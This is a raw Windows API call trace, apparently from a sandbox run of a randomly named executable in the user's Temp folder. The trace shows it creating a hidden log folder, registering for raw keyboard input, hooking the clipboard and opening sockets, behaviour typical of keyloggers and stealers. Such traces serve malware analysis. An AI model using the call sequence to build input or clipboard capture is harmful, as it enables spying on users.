[0187.146] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x18dc9c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x6c
[0187.146] GetLastError () returned 0x0
[0187.146] SetErrorMode (uMode=0x1) returned 0x0
[0187.146] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\logs\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0187.146] GetLastError () returned 0x3
[0187.146] SetErrorMode (uMode=0x0) returned 0x1
[0187.146] SetErrorMode (uMode=0x1) returned 0x0
[0187.146] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\logs"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0187.146] GetLastError () returned 0x2
[0187.146] SetErrorMode (uMode=0x0) returned 0x1
[0187.146] SetErrorMode (uMode=0x1) returned 0x0
[0187.146] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d231a10, ftCreationTime.dwHighDateTime=0x1d3f29b, ftLastAccessTime.dwLowDateTime=0x70fa31f0, ftLastAccessTime.dwHighDateTime=0x1d3f29b, ftLastWriteTime.dwLowDateTime=0x70fa31f0, ftLastWriteTime.dwHighDateTime=0x1d3f29b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
[0187.146] GetLastError () returned 0x2
[0187.146] SetErrorMode (uMode=0x0) returned 0x1
[0187.146] SetErrorMode (uMode=0x1) returned 0x0
[0187.147] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6d231a10, ftLastAccessTime.dwHighDateTime=0x1d3f29b, ftLastWriteTime.dwLowDateTime=0x6d231a10, ftLastWriteTime.dwHighDateTime=0x1d3f29b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0187.147] GetLastError () returned 0x2
[0187.147] SetErrorMode (uMode=0x0) returned 0x1
[0187.147] SetErrorMode (uMode=0x1) returned 0x0
[0187.147] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
[0187.147] GetLastError () returned 0x2
[0187.147] SetErrorMode (uMode=0x0) returned 0x1
[0187.147] SetErrorMode (uMode=0x1) returned 0x0
[0187.147] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0187.147] GetLastError () returned 0x2
[0187.147] SetErrorMode (uMode=0x0) returned 0x1
[0187.147] SetErrorMode (uMode=0x1) returned 0x0
[0187.147] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0187.147] GetLastError () returned 0x2
[0187.147] SetErrorMode (uMode=0x0) returned 0x1
[0187.147] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\logs"), lpSecurityAttributes=0x0) returned 1
[0187.147] GetLastError () returned 0x2
[0187.147] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\logs\\5p5nrgjn0js halpmcxz"), lpSecurityAttributes=0x0) returned 1
[0187.147] GetLastError () returned 0x2
[0187.528] SetErrorMode (uMode=0x1) returned 0x0
[0187.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x18b684 | out: lpFileInformation=0x18b684*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0187.528] GetLastError () returned 0x2
[0187.528] SetErrorMode (uMode=0x0) returned 0x1
[0187.744] GetWindowThreadProcessId (in: hWnd=0x301b6, lpdwProcessId=0x18e11c | out: lpdwProcessId=0x18e11c) returned 0xafc
[0187.744] GetCurrentThreadId () returned 0xafc
[0188.038] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0188.038] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.378734a", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x30158
[0188.038] SetWindowLongW (hWnd=0x30158, nIndex=-4, dwNewLong=2011571677) returned 5867162
[0188.039] GetWindowLongW (hWnd=0x30158, nIndex=-4) returned 2011571677
[0188.039] SetWindowLongW (hWnd=0x30158, nIndex=-4, dwNewLong=5867386) returned 2011571677
[0188.039] GetWindowLongW (hWnd=0x30158, nIndex=-4) returned 5867386
[0188.039] GetWindowLongW (hWnd=0x30158, nIndex=-16) returned 79691776
[0188.284] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x30158, Msg=0x24, wParam=0x0, lParam=0x18db64) returned 0x0
[0188.284] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x30158, Msg=0x81, wParam=0x0, lParam=0x18db58) returned 0x1
[0188.284] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x30158, Msg=0x83, wParam=0x0, lParam=0x18db44) returned 0x0
[0188.285] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x30158, Msg=0x1, wParam=0x0, lParam=0x18db58) returned 0x0
[0188.285] GetLastError () returned 0x0
[0188.290] RegisterRawInputDevices (pRawInputDevices=0x6126a0, uiNumDevices=0x1, cbSize=0xc) returned 1
[0188.292] SetClipboardViewer (hWndNewViewer=0x30158) returned 0x0
[0188.292] SendMessageA (hWnd=0x0, Msg=0x308, wParam=0x0, lParam=0x0) returned 0x0
[0188.292] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x30158, Msg=0x308, wParam=0x0, lParam=0x0) returned 0x0
[0188.856] CoCreateGuid (in: pguid=0x18e974 | out: pguid=0x18e974*(Data1=0x146bcb55, Data2=0xe439, Data3=0x4966, Data4=([0]=0x93, [1]=0x90, [2]=0xb5, [3]=0x27, [4]=0xd4, [5]=0x5a, [6]=0xdc, [7]=0xb2))) returned 0x0
[0189.575] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x612688 | out: lpWSAData=0x612688) returned 0
[0189.579] GetLastError () returned 0x0
[0190.013] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e0bc | out: phkResult=0x18e0bc*=0x1f0) returned 0x0
[0190.013] RegQueryValueExW (in: hKey=0x1f0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x18e104, lpData=0x0, lpcbData=0x18e100*=0x0 | out: lpType=0x18e104*=0x1, lpData=0x0, lpcbData=0x18e100*=0xe) returned 0x0
[0190.014] RegQueryValueExW (in: hKey=0x1f0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x18e104, lpData=0x612688, lpcbData=0x18e100*=0xe | out: lpType=0x18e104*=0x1, lpData="Client", lpcbData=0x18e100*=0xe) returned 0x0
[0190.015] RegCloseKey (hKey=0x1f0) returned 0x0
[0190.017] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x2cc
[0190.334] GetLastError () returned 0x0
[0190.335] setsockopt (s=0x2cc, level=65535, optname=128, optval="\x01", optlen=4) returned -1
[0190.335] GetLastError () returned 0x273a
[0190.335] closesocket (s=0x2cc) returned 0
[0190.335] GetLastError () returned 0x0
[0190.335] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x2cc
[0190.394] GetLastError () returned 0x0
[0190.394] setsockopt (s=0x2cc, level=65535, optname=128, optval="\x01", optlen=4) returned -1
[0190.394] GetLastError () returned 0x273a
[0190.394] closesocket (s=0x2cc) returned 0
[0190.395] GetLastError () returned 0x0
[0192.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", nBufferLength=0x105, lpBuffer=0x18e2d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", lpFilePart=0x0) returned 0x4e
[0192.207] GetLastError () returned 0x0
[0192.310] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x612688, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe")) returned 0x3b
[0192.310] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e330, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e
[0192.310] GetLastError () returned 0x0
[0192.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e358, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47
[0192.310] GetLastError () returned 0x0
[0192.764] GetCurrentProcess () returned 0xffffffff
[0192.764] GetLastError () returned 0x3f0
[0192.764] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e46c | out: TokenHandle=0x18e46c*=0x2cc) returned 1
[0192.764] GetLastError () returned 0x3f0
[0192.766] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x18e004, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e
[0192.766] GetLastError () returned 0x0
[0192.766] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x18e4ac | out: lpFileInformation=0x18e4ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc2c74ba0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x60ed)) returned 1
[0192.767] GetLastError () returned 0x0
[0192.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x18dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43
[0192.767] GetLastError () returned 0x0
[0192.767] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x18e4a8 | out: lpFileInformation=0x18e4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc2c74ba0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x60ed)) returned 1
[0192.767] GetLastError () returned 0x0
[0192.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x18df10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43
[0192.767] GetLastError () returned 0x0
[0192.767] SetErrorMode (uMode=0x1) returned 0x0
[0192.767] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2d4
[0192.767] GetLastError () returned 0x0
[0192.767] GetFileType (hFile=0x2d4) returned 0x1
[0192.767] SetErrorMode (uMode=0x0) returned 0x1
[0192.767] GetFileType (hFile=0x2d4) returned 0x1
[0192.781] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18e47c | out: lpFileSizeHigh=0x18e47c*=0x0) returned 0x60ed
[0192.781] GetLastError () returned 0x0
[0192.781] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e434, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e434*=0x1000, lpOverlapped=0x0) returned 1
[0192.782] GetLastError () returned 0x0
[0192.965] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e0ec, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e0ec*=0x1000, lpOverlapped=0x0) returned 1
[0192.965] GetLastError () returned 0x0
[0192.966] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e0ec, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e0ec*=0x1000, lpOverlapped=0x0) returned 1
[0192.966] GetLastError () returned 0x0
[0192.966] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e0ec, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e0ec*=0x1000, lpOverlapped=0x0) returned 1
[0192.966] GetLastError () returned 0x0
[0192.966] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e0ec, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e0ec*=0x1000, lpOverlapped=0x0) returned 1
[0192.966] GetLastError () returned 0x0
[0192.968] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e220, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e220*=0x1000, lpOverlapped=0x0) returned 1
[0192.968] GetLastError () returned 0x0
[0192.968] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e0b4, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e0b4*=0xed, lpOverlapped=0x0) returned 1
[0192.968] GetLastError () returned 0x0
[0192.968] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e16c, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e16c*=0x0, lpOverlapped=0x0) returned 1
[0192.968] GetLastError () returned 0x0
[0192.969] CloseHandle (hObject=0x2d4) returned 1
[0192.969] GetLastError () returned 0x0
[0192.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", nBufferLength=0x105, lpBuffer=0x18e2d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", lpFilePart=0x0) returned 0x4e
[0192.983] GetLastError () returned 0x0
[0192.983] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x612688, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe")) returned 0x3b
[0192.983] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e330, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e
[0192.983] GetLastError () returned 0x0
[0192.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e358, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47
[0192.983] GetLastError () returned 0x0
[0192.984] GetCurrentProcess () returned 0xffffffff
[0192.984] GetLastError () returned 0x3f0
[0192.984] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e6fc | out: TokenHandle=0x18e6fc*=0x2d4) returned 1
[0192.984] GetLastError () returned 0x3f0
[0192.984] GetCurrentProcess () returned 0xffffffff
[0192.984] GetLastError () returned 0x3f0
[0192.984] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e6fc | out: TokenHandle=0x18e6fc*=0x2d0) returned 1
[0192.984] GetLastError () returned 0x3f0
[0192.985] GetCurrentProcess () returned 0xffffffff
[0192.985] GetLastError () returned 0x3f0
[0192.985] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e46c | out: TokenHandle=0x18e46c*=0x2d8) returned 1
[0192.985] GetLastError () returned 0x3f0
[0192.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x18e4ac | out: lpFileInformation=0x18e4ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0192.985] GetLastError () returned 0x2
[0192.985] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", nBufferLength=0x105, lpBuffer=0x18dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", lpFilePart=0x0) returned 0x4e
[0192.985] GetLastError () returned 0x2
[0192.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x18e4a8 | out: lpFileInformation=0x18e4a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0192.985] GetLastError () returned 0x2
[0192.986] GetCurrentProcess () returned 0xffffffff
[0192.986] GetLastError () returned 0x3f0
[0192.986] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e6fc | out: TokenHandle=0x18e6fc*=0x2dc) returned 1
[0192.986] GetLastError () returned 0x3f0
[0192.986] GetCurrentProcess () returned 0xffffffff
[0192.986] GetLastError () returned 0x3f0
[0192.986] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e6fc | out: TokenHandle=0x18e6fc*=0x2e0) returned 1
[0192.986] GetLastError () returned 0x3f0
[0193.033] GetCurrentProcess () returned 0xffffffff
[0193.033] GetLastError () returned 0x3f0
[0193.033] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e4d8 | out: TokenHandle=0x18e4d8*=0x2e4) returned 1
[0193.033] GetLastError () returned 0x3f0
[0193.037] GetCurrentProcess () returned 0xffffffff
[0193.037] GetLastError () returned 0x3f0
[0193.037] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e4e8 | out: TokenHandle=0x18e4e8*=0x2e8) returned 1
[0193.037] GetLastError () returned 0x3f0
[0193.044] GetCurrentProcessId () returned 0xaf8
[0193.044] GetComputerNameW (in: lpBuffer=0x612688, nSize=0x2450f38 | out: lpBuffer="XDUWTFONO", nSize=0x2450f38) returned 1
[0193.044] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e73c | out: phkResult=0x18e73c*=0x2ec) returned 0x0
[0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="Library", lpReserved=0x0, lpType=0x18e784, lpData=0x0, lpcbData=0x18e780*=0x0 | out: lpType=0x18e784*=0x1, lpData=0x0, lpcbData=0x18e780*=0x1c) returned 0x0
[0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="Library", lpReserved=0x0, lpType=0x18e784, lpData=0x612688, lpcbData=0x18e780*=0x1c | out: lpType=0x18e784*=0x1, lpData="netfxperf.dll", lpcbData=0x18e780*=0x1c) returned 0x0
[0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x18e784, lpData=0x0, lpcbData=0x18e780*=0x0 | out: lpType=0x18e784*=0x4, lpData=0x0, lpcbData=0x18e780*=0x4) returned 0x0
[0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x18e784, lpData=0x18e770, lpcbData=0x18e780*=0x4 | out: lpType=0x18e784*=0x4, lpData=0x18e770*=0x1, lpcbData=0x18e780*=0x4) returned 0x0
[0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="First Counter", lpReserved=0x0, lpType=0x18e784, lpData=0x0, lpcbData=0x18e780*=0x0 | out: lpType=0x18e784*=0x4, lpData=0x0, lpcbData=0x18e780*=0x4) returned 0x0
[0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="First Counter", lpReserved=0x0, lpType=0x18e784, lpData=0x18e770, lpcbData=0x18e780*=0x4 | out: lpType=0x18e784*=0x4, lpData=0x18e770*=0x137a, lpcbData=0x18e780*=0x4) returned 0x0
[0193.045] RegCloseKey (hKey=0x2ec) returned 0x0
[0193.045] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e738 | out: phkResult=0x18e738*=0x2ec) returned 0x0
[0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x18e780, lpData=0x0, lpcbData=0x18e77c*=0x0 | out: lpType=0x18e780*=0x4, lpData=0x0, lpcbData=0x18e77c*=0x4) returned 0x0
[0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x18e780, lpData=0x18e76c, lpcbData=0x18e77c*=0x4 | out: lpType=0x18e780*=0x4, lpData=0x18e76c*=0x3, lpcbData=0x18e77c*=0x4) returned 0x0
